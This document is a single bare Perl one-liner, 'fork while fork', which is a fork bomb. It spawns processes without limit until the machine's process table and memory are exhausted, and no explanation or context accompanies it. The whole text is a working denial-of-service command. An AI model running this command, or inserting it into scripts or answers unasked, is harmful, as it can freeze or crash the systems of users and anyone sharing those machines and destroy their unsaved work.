perl -E 'fork while fork'